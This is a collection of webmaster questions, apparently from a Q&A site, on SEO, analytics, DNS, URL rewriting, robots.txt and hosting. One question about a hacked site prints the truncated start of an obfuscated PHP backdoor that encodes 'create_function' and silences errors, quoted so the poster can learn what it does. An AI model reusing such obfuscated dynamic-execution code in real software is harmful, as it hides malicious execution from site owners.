      As you can see, the first image is visible, the 2 others are only visible when the first one is clicked on, this triggers fancybox to start:               $(".fancybox")     .attr('rel', 'gallery')     .fancybox({         padding : 0     });      With the CSS:               .hidden {     display: none;      } A question here addresses something that concerns me. **The main difference is that I use words in the file name, alt tag and title tag to describe the item.** The title is displayed by fancybox when triggered. I wonder if this would look like spam to search engines, would it?


How to force a web browser to interpret other file extension (but contains plain text) as a text file?

I'm currently engaged with a web based application that needs to show text files via directory listing in the web server (Tomcat). The text file has an extension of .inp and .trg, it seems that IE8 is not wrapping the text properly and ignores the white spaces and line breaks of the file. When I create a sample plain text in my directory with the extension of .txt, IE8 interprets it properly. Can you give me a solution for IE8 to interpret word- wrapping with file extension ( .inp, .trg ) rather than .txt? The previous application is deployed in Apache, and IE8 interprets the wrapping properly. Apparently when it is deployed in tomcat the wrapping is gone. By the way I'm using Jython. Will it be on the server side (Tomcat)? or in the client side (web browser)? Thanks!


Best stats tool for cross-domain tracking

We build a webapp that allows users to run the app under their own subdomain. So we run the app under search.domainX.com, search.domainY.com and so on. They each have their own Google Analytics to track individual stats. But we want to know what general traffic for all clients of our app. So we want to know stuff like "among all our clients we had x number of views." What is the best way tool to track that sort of thing. We prefer a snippet based solution similar to Google Analytics if possible.


Keep google chrome element inspector DOM tree expanded on reload?

I inspect an element in google chrome and after modifying and saving my css file I reload the page to view the result. Unfortunately my DOM tree is collapsed then. Can it be achieved that it keeps expanded (and focused) at the same point?


Adverts on a mercantile site: good or bad?

Is it generally considered a good or bad idea to put GoogleAds or the like on a web site that is selling items online? In other words, should one run the risk of having the competition appear in these ads or not?


Google analytics is counting way to much

I have a website using Google analytics but it is counting way to much. To test this i was logging all entry's to my database with time and IP address. My result for one day was: Google analytics:               Visits:                     4078     Absolute Unique Visitors:   3758      My Database:               Visits:                      4182     Unique Visitors(Only by IP): 905      I use the tracking option "One domain with multiple subdomains" because the website is accessible both on www.example.com and example.com. I'm i missing something or what could be wrong?


Are testing website URLs considered duplicate content and do they trigger penalties?

I have a website with several thousand pages and I generate a small version of it (100 pages) which I upload to a temporary `testing.mywebsite.com` URL for testing purposes. Yet, it could be seen as duplicate content considering the live website on a different URL. Should I be worried about this? Can I get a penalty for this? I was considering setting canonical links to the main website or setting no index on the pages generated for testing. Is it necessary to do so? Would it help?


Keeping old design up for SEO

I am almost ready to publish a new website design for my website. It contains some of the same content, but a lot is worded differently. My plan is simply to replace the old files with new ones. Would it be good for SEO purposes to keep my old website up, and perhaps move it to a new directory? I could have a link in the footer to "old design". I know search engines love content, and if I am putting out new content, shouldn't I still keep the old content?


Any sites where I can offer a budget and choose from many webdesigns offered by designers?

Can anyone can provide me some links to a website where I can enter my requirements and the budget that I can offer to receive a lots of graphic designs. Then I can choose the one I want and pay for it? I have heard about them from many people but haven't found any yet.


Best free blogging site that allows AdSense and other advertising?

I'm looking to start my own blog. Under the incredibly vain assumption that anyone cares what I think, I'd like to put up some ads to fund my, um, habits, yeah. I don't want to have to pay anything, nor do I want to host it myself (if possible). What blogging platform fits this bill?


How to register a domain for a beginner?

I've never registered a .com , .net like domain before, and I would like to do some research before doing so.   1. I currently have a ruby on rails app running Heroku. Is there anything special I have to do prior to registering domain on my ruby on rails app at all? Or is it as easy as just inserting my current Heroku address to mask it with another .com or .net name?   2. Is there some special features I should look for registering domain? Or is it typical for domain seller to just sell domain names only?   3. Any recommendations on sellers? Thank you.


mod_rewrite to change parts of a URL causes infinite loop error.

I moved my website to a new CMS and some of my URLs look different now, so I want to delete a part of incoming URLs so that links to my page still work properly. The old URL looks like: > www.my-site.de/MY-FORUM/my-forum/category/postingtitle I want to get rid of the MY-FORUM, so it looks like: > www.my-site.de/my-forum/category/postingtitle After reading through different posts I tried the following:               RewriteRule ^MY-FORUM/(.*) /$1 [R=301,L]      Which gives me back an error message stating: Infinite loop detected in JError (I´m using joomla) What is causing this?


My domain's DNS is not working and my host says it could take a couple days

I have taken a domain name `trickwarehouse.tk` and set the name servers of `hostinger.in` in my domain's DNS. But when I try to access the file manager, I get an error message: > Your domain is not pointing to our nameservers at the moment, so services > such as FTP, File Manager, E-mail (and others) will not work correctly. You > can find our nameservers at the "Accounts -> Details" section. Please mind > that DNS might take up to 24 hours to propagate when the change is > submitted. They are telling me that "DNS might take up to 24 hours to propagate when the change is submitted". Will it really take 24 hours to set up?


Can I use translated versions of other sites' content?

I would like to add a "Comments" module to my online store to display external comments for an item; the comments will come from other big players in this industry. The comments will be localized (translated to Russian or Ukrainian) to help customers choose the right item. I have some questions:   1. Is it legal to use translated comments from other sites?   2. Will using this content adversely affect my site's search engine rankings?


Where to hire poeple for data submission?

I have auto translated articles in portugues and I need to hire people to check the grammars etc. Considering I need portugues (that can speak english a little to make agreements) where should I look for? Thanks


How to Remove a URL in Google Webmaster Tools

I need to remove a URL "foo" at `www.example.com/foo`. But when I type the URL under "Remove URL" and hit continue, on the next page I see the URL changed to > `http://example.com/www.example.com/foo` (This is not the URL I need to > remove.) _**Instead of:_** > `www.example.com/foo` I have no clue why this is happening. Any help appreciated.


Graphic ideas: crumbled paper effect

I'm thinking about ways to create the effect of crumbled paper for my website. The background color can vary, so the idea I came up with is to super impose the 'crumble' effect onto any colored background. Where can I find such a graphic? Any suggestions on how to make one if none are available? Thanks.


Pageviews for iFrame content not matching pageviews for parent page in Google Analytics

I have a page with content hosted in an iFrame, both using the same Google Analytics account ID. When I look at the pages report, the parent page has about 9000 unique views, but the iFrame content only has 3700. Anyone have an idea what could cause that kind of discrepancy? My only guess is that it would be caused by people moving on before the iFrame content has a chance to load, but the average time on page for the host page is 56 seconds, so that doesn't seem possible. This is the page in question. The flipbook is hosted in the iFrame on a separate domain. I have each page of the flipbook triggering a virtual pageview to try to evaluate engagement with the book - when the flipbook loads, it fires a pageview for the page it is on, so that is the page I'm using for the 3700 number. I also looked at the source of the iFrame in the pages report, and that number just about matches the virtual pageviews so that piece is consistent.


Does no follow prevent my pages from search engine penalisation?

Can I link to websites that contain similar contents to my own and not be penalised by search engines if I use the `rel=nofollow` on the anchor tag?


How to know the request handling capacity of my website?

I want to find out how much traffic my website can handle. Like for example, 1000 simultaneous requests per second, or 1 lakh visitors online. My website is newly started, and it is on shared hosting, with unlimited bandwidth. Are there any tools for measuring the capacity of my site? Also I want to know, what is the average capacity of traffic that a website on shared hosting can handle in general? If the requests increase more than the limit, what happens?


How to remove thousands of URLs from Google cache?

Google has cached 1000s of PDFs from my website which shouldn't be public. I have updated my headers, but need to remove the existing Quick View cache. The Google webmaster tool allows me to remove them one by one - however, this clearly isn't practical given the quantity of files to be removed. Does anyone know how I can batch remove PDFs from Google cache? Ideally I'd like to a way to remove everything that matches "site:mysite.com *.pdf"


How does Google detect duplicate content?

have a quick question about duplicate content. How does google work this all out? In that on my pages I have a form on each page with the same bit of text explaining it, is this going to count against me? The content on each page is original. Surly most sites might have small bits of repeating text on it, would this count against you?


What tool to use to modify HTML file structure

I have HTML files with all sharing the same structure. Something like this:               Body         Table              tr1                  ... (more nested tables)              tr2                  ... (more nested tables)              tr3                  td1                  ... (more nested tables)                  td2               tr4 ...      I need to remove td1 table data from all the files. What tool should I use?


To WWW or not to WWW

I'm getting ready to deploy my Rails app. Currently whether you browse to it using www.domain.com or just domain.com you get the same site. I'm pretty new at this, so I'm looking for some wisdom from experienced web app developers: Is it worth forcing requests to either WWW or non-WWW? It seems there are apps that go either way... I know that this kind of question is in danger of being too subjective, but to help keep it objective here's a few specific questions that I'd really appreciate answers to:   1. Does your web app force requests to WWW or root domain, or does it allow both equally?   2. What technical reasons are there for choosing one option or the other (honestly I don't know if it even makes a difference).   3. If you were building a new web app today, which option would you choose? I appreciate any advice. --EDIT-- To reiterate what I'm looking for as distinct from this question are there specific ramifications for web applications that I should be aware of before I make a decision and deploy? In particular if any Rails developers have had issues related to one option or the other that would be really helpful to know.


How to allocate cPanel resources to customers

We are wanting to start offering hosting services to our customers with dedicated email and all those bells and whistles. We have the servers - both Windows and Linux. (Cloud Instances) The question: How can we give users access to a server with cPanel immediately after their account has been setup and payment has been processed? Hosts like goDaddy grant access almost immediately and the customers have access to a cPanel where they can start linking hosting their sites. The users don't have access to other websites hosted on that server (shared hosting situation.) What do we need to do to setup a structure like this?


Is it possible to change URL structure and to continue to gather Analytics data to the existing posts?

I'm changing my WordPress permalinks from               /%category%/%post_id%/      to               /%postname%/      Is is possible to make Google Analytics to continue gathering the posts data correspondingly?


"Read more" link bad or good for SEO?

I have seen that most bloggers are using "read more" as link text to posts on their home page that link to the full article or blog post. I understand that it's quite important for navigation of site. But when you see Google's official blog or other blogs of Google, they do not use the "read more" link on home page of blog. So is "read more" as a link good for SEO or bad because Google itself is not using these links. Can anyone throw lights on this?


Can Google tell the difference between a link in a blog post and a link in a blog comment?

When Google Blog Search crawls a page, can it tell whether a link is in the article or whether it's in a comment? If it can, does it grade the links, that is, a link from a blog comment is only going to be worth 50% of what an actual link inside the article would be?


Displaying urls with case sensitivity

I just bought the domain name `http://www.startupsandfinance.com/`. During the registration process I tried to buy it like `http://www.StartupsandFinance.com/` but could not do that because they ignored it. Is there any way that the website can show up in the search results as `http://www.StartupsandFinance.com/` as it looks more readable.


How should I properly redirect 1 million+ URLs?

I have a server that allows file uploads. Foolishly I let everything get stored in one directory `/uploads`. Now that I am approaching 1.5M files in this directory, I want to go back and correct my mistake. I am going to move all files into date based directories like so `/uploads/2/14/file.ext`. How can I do this without ruining all links that currently exist to the files? If someone tries to access `site.com/uploads/file.ext` it needs to show them the content from `site.com/uploads/2/14/file.ext`. How do sites like Imgur make it seem as if all their files are stored in one directory? Things I have thought of:   * _.htaccess_ redirect (I think this would be way too many URLs to store in this type of file).   * MySQL based redirect (I think this would cause way too much load on the DB as there are millions of files viewed each day.


wordpress robots.txt is this reasonable？

this is my first time to write a `robots.txt`, I am not sure this is reasonable or not. sorry for open a question. I use wordpress cms. all the page urls like `http://mydomain.com/it/page1`, `http://mydomain.com/en/page1` (for /it/ and /en/ just edit in `/wp- admin/post.php?post=1&action=edit&message=1`, create a `Parent page` - it or en, then save page under theme) I stored photos in `/thumb/` and `/image/` folder. here is my full `robots.txt`.               # Google Image     User-agent: Googlebot-Image     Disallow:     Allow: /thumb     Allow: /image          # Google AdSense     User-agent: Mediapartners-Google*     Disallow:          Sitemap: http://mydomain.com/sitemap.xml          User-agent: *     Disallow: /wp-login.php     Disallow: /wp-admin/     Disallow: /signup/     Disallow: /cgi-bin/     Disallow: /wp-     Disallow: /wp-admin/     Disallow: /signup/     Disallow: /cgi-bin/     Allow: /it/     Allow: /en/     Allow: /es/     Allow: /fr/     Allow: /de/      BTW, if i submit my site to `https://www.google.com/webmasters/tools/robots- analysis-ac` how many hours, google will crawl my `robots.txt` and `sitemap.xml`? and if I will apply for google adsense, must I first finish a seo? (google finish catch my `robots.txt` and `sitemap.xml`?) Many thanks.


Content light website and Google - Tell google it's a listings site (as opposed shop, reviews or restaurants)

I have a listings style website. Due to the nature of this (listings) the site is content light. Each page is typically less that 50 words but there are many pages. The site in question has had a ton of media coverage and so has some great inbound links from places like Wired, Fast Company, Canada Broadcasting Corporation and many many other bloggers, media websites and recycle related niche authors (It's a recycling site). But Google really ignores it. Traffic from search is very very low - less than 5% of all traffic. I know that using markup you can tell Google whether your site is a restaurant, article, review, shop, local business and a few other categories (https://www.google.com/webmasters/markup-helper/u/0/). Is there a way to tell Google that my site is a listings site? I suspect, but do not know for sure, that part of the problem is that Google simply does not know what my site is? It's a crowdmap where people post curbalerts. The information is useful to people but it is presented in a short, concise way - a pin on a map, a picture and a short description. Adding anything further is not necessary for the site's intended purpose. 1st question - how best to tell the search engines what y site is - listings and not some spammy website? Any recommendations in improving our site's Search presence? You can take a look here if interested: http://tinyurl.com/lxg4hn7


PHP Clean Directory

Is there a way to clean a directory using PHP after a certain amount of days? I'd like to put the amount of days into a `$Cleanup` variable? I've tried and not been able to get it working.


The same user from different IP-addresses?

Has anybody encountered the situation when the same user from the same session ID and the same browser requested 2 different scripts on the same webserver inside the duration of 30 sec from two different IP addresses thorugh HTTPS? Is it viable/normal situation?


Using a SMTP Service for email

This may be a horribly obvious question, but I'm learning and just need someone to confirm it for me. I putting together a private social network that needs to email their members (through the social network software, Elgg) regularly. I'm hosting it on a shared HostGator plan (because they won't receive much traffic) and they'll email 10-1000 emails a few times a week. HostGator restricts you to 500 per hour. I'm also worried about deliverability. I've been searching up and down about how to throttle the emails so it will all send reliably... but then I came across the idea of an outside SMTP relay service. Would using an SMTP service resolve this issue?


Why can I (and a lot of people) access my website normally but some users can't?

I bought my domain name and registered it with ASmallOrange. Next, I bought a VPS server with SoftSysHosting. I went on the CPanel of ASmall orange and set the domains to point to my server's IP address: ![enter image description here](http://i.stack.imgur.com/CjCuv.png) After half a day or so, the DNS record propagated to my machine and I could access the website using the domain name. A so could everybody else. However today, someone told me they could not access my site, and checking it with http://www.downforeveryoneorjustme.com/ told me the same results: > It's not just you! FOO.BAR looks down from here. Yet I can still access my site. Is it safe to assume that the DNS record hasn't reached certain areas yet? It's been almost three days now and I find that hard to believe. On my VPS, I only have IIS with SQL Server. **I did not install anything related to DNS.**


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My site have been hacked (i think) here is the code... the question, how to find what it does...               <?php $zend_framework="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"; @error_reporting(0); $zend_framework("", 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Can secret URLs be used to protect files?

I would like to know if I can offer private downloads in my website (only available to certain users) by placing all the files in a `/download` folder and make sure it doesn't show the index of all the files with the `.htaccess` option: `Options -Indexes`. That way, only users with the complete address of the file would be able to download a certain file. Is there any problem with this method?


Freelance website development and backups

How to manage backups when developing websites as freelance?   * I have my clients purchase web hosting space from a provider of their choice.   * I develop the website and upload it to their hosting space.   * Provide option of extended technical support. **ADDED:** The websites tend to be dynamic with various data stored into the database. I am unable to routinely backup the dynamic sites because a) it is too time consuming and b) too costly for my clients. Ideally I need to offload that liability because if a server fails (or provider ceases to exist) and backups are also lost, how are my clients going to recover? Should my clients be downloading backups and storing them in a safe place? Likewise upgrading WordPress releases occasionally introduce breaking changes that require plugins to be updated. What is the best practice for charging for WordPress upgrades? What do other freelancers tend to do?


Change content of page depending on Google search

A client has asked me to tailor the content of their homepage based on how the user got there from Google. His example is something like: If a user searches Google for Cars in Barcelona, then the homepage has content based on cars in Barcelona. I can't see how this would be possible - would I need to have 20 or so different content blocks for the homepage to cover all of the areas they would like to promote? How would I then get Google to display the correct content based on the search and how would I get Google to index them all? Bit confused by this one, so any help would be greatly appreciated! Thanks


Is it possible to have a stop word list for distinct html pages?

Let's say I have a simple html page with some text and the text               foo is a single word whereas foo bar are two words      somewhere in it. Is it possible to prevent search engines from finding the page when searching for `foo bar` (without double quotes surrounding it)? Searching for `foo` should find the page though. Is this possible somehow? Be it meta tag or something on the server side?


Access denied 403 errors after migrating my site

I've recently migrated my Joomla site from one shared hosting to another with Hostgator. GWT notified me about many 403 access denied pages. I've checked with Firebug too, and even though browser is displaying full page correctly but http return is 403. I've checked the home page but it's correctly returing 200 response. The same is shown by Fetch as Google in GWT(pasted this in the bottom). The site is 3 years old and I regularly do such migrations. I've copied the files and database "AS IS". I've even cleared all the caches but no luck. There is only one change: previously the site was primary domain but now it's add-on one. What could be the issue? This is how Googlebot fetched the page. **Fetch as Google**               URL: http://MYSITE.COM/-----------------REMOVED.html          Date: Thursday, June 20, 2013 at 10:32:14 PM PDT          Googlebot Type: Web          Download Time (in milliseconds): 3899          HTTP/1.1 403 Forbidden     Date: Fri, 21 Jun 2013 05:32:15 GMT     Server: Apache     P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"     Expires: Mon, 1 Jan 2001 00:00:00 GMT     Cache-Control: post-check=0, pre-check=0     Pragma: no-cache     Set-Cookie: 0e4f6b53991c80cf39d57a6db58bb58d=ee2d880e8db0f1fc03c5612ea5a77004; path=/     Last-Modified: Fri, 21 Jun 2013 05:32:19 GMT     Keep-Alive: timeout=5, max=75     Connection: Keep-Alive     Transfer-Encoding: chunked     Content-Type: text/html; charset=utf-8          <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">     <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >     <head>       <base href="http://www.mysite.com/-----------------rajiv-yuva-shakthi-programme-finance-planning.html" />       <meta http-equiv="content-type" content="text/html; charset=utf-8" />       <meta name="robots" content="index, follow" />       <meta name="keywords" content="" />          <<<<<<TRIMMED>>>>>>>>>>>>>>


Google rich snippet looks different then Google Search

I have added the authorship to a website of mine however it looks like this when I enter my URL into the tool, however when I search for the site on Google, it shows an out of date cached image and doesn't appear like the rich snippet tool. Any insight as to why this is happening?


Panda 4: Reducing #indexed pages. How much is enough?

I've been hit by panda 4 (40% decrease). I didn't see any change during panda 1-3. From what I've read it and when compared to my site, the change is probably due to the fact that I have over 30M pages indexed on Google, and they've starting seeing that as some sort of bad indication. Although I feel all of the pages have a unique value that Google should crawl, it seems I should make some tough calls and deduce the indexed pages according to some prioritization I will conduct. The question is what should be my target, or what factors should help me figure out a relevant target. How many pages should I try to reduce to?   - 25M   - 15M   - 1M   - 2000 Is it enough to add `noindex` to low priority pages or should I also remove all internal linking to them? UPDATE: just to clarify, all of my pages are such that I believe will provide value to my users. But as I understood, in times like these I should still consider de-indexing some of them, because just because a user might get value, doesn't mean Google will see this as a quality page, which is a very subjective definition actually.


Does purposely linking to an invalid URL and then using 301 affect SEO?

On a section of my site, I am currently using .htaccess rewrites to put the ID as part of the URL instead of in the query, like so:               RewriteRule ^([a-z_]+)?/?tours/([0-9]+)/(.*) /tours/tour_text.php?lang=$1&id=$2&urlstr=$3 [L]      For example, if someone goes to `/en/tours/12/some-text-here` it will rewrite it to `/tours/tour_text.php?lang=en&id=12&urlstr=some-text-here`. However I don't want the users to be able to put just any text, so if they type in the wrong `some-text-here` part it will 301 redirect them to the right page. This works perfectly, but I can see a potential problem arising when localizing the website, so I just wanted to make sure it's not actually a problem. How it is now, if someone goes to `/en/tours/12/some-text-here`, the anchor to the Spanish version of that page will be `/es/tours/12/some-text-here` (i.e. only changing the "en" to "es"), and then the script will then 301 them to the correct Spanish text (something like `/es/tours/12/algun-texto-aqui`). And the reverse will also be the same. The anchor on the Spanish version to the English version would be `/en/tours/12/algun-texto-aqui` and then they will be forwarded with 301 back to `/en/tours/12/some-text-here`. Basically, the anchor changes the language and the 301 changes the string at the end. So I have two questions:   * Does purposely and permanently having invalid URLs on your site that get 301'ed to the correct ones have any effect on SEO? I _could_ make it just show the correct URL to begin with, but this is a significant amount of work due to how I am handling the translations, so I would prefer just to 301 them.   * Will the invalid URLs that are contained in the links be added to the search engine indexes even if they get 301'ed to another page?


Remove the entire the website using removal tool

http://www.mattcutts.com/blog/robots-txt-remove-url/ In this old video Matt Cutts says that if you blocked the website in the robots.txt and want completely remove the website from Searching Results use removal tool. I would like to ask: How can i do actually this: just time in removal urls field : _www.sitename.com_


SEO words: Information Technology vs IT

IT is in common usage as an abbreviation for "Information Technology" and people may search on it as that, such as "IT Support". However, it is also a "stop word". Any suggestions for optimal SEO usage? **Edit** : In line with the answers, on reviewing the search engine results, it seems that they are mostly interpreting "IT" correctly. The overall context I'm sure helps, so thus far, I'm going to stay with "IT".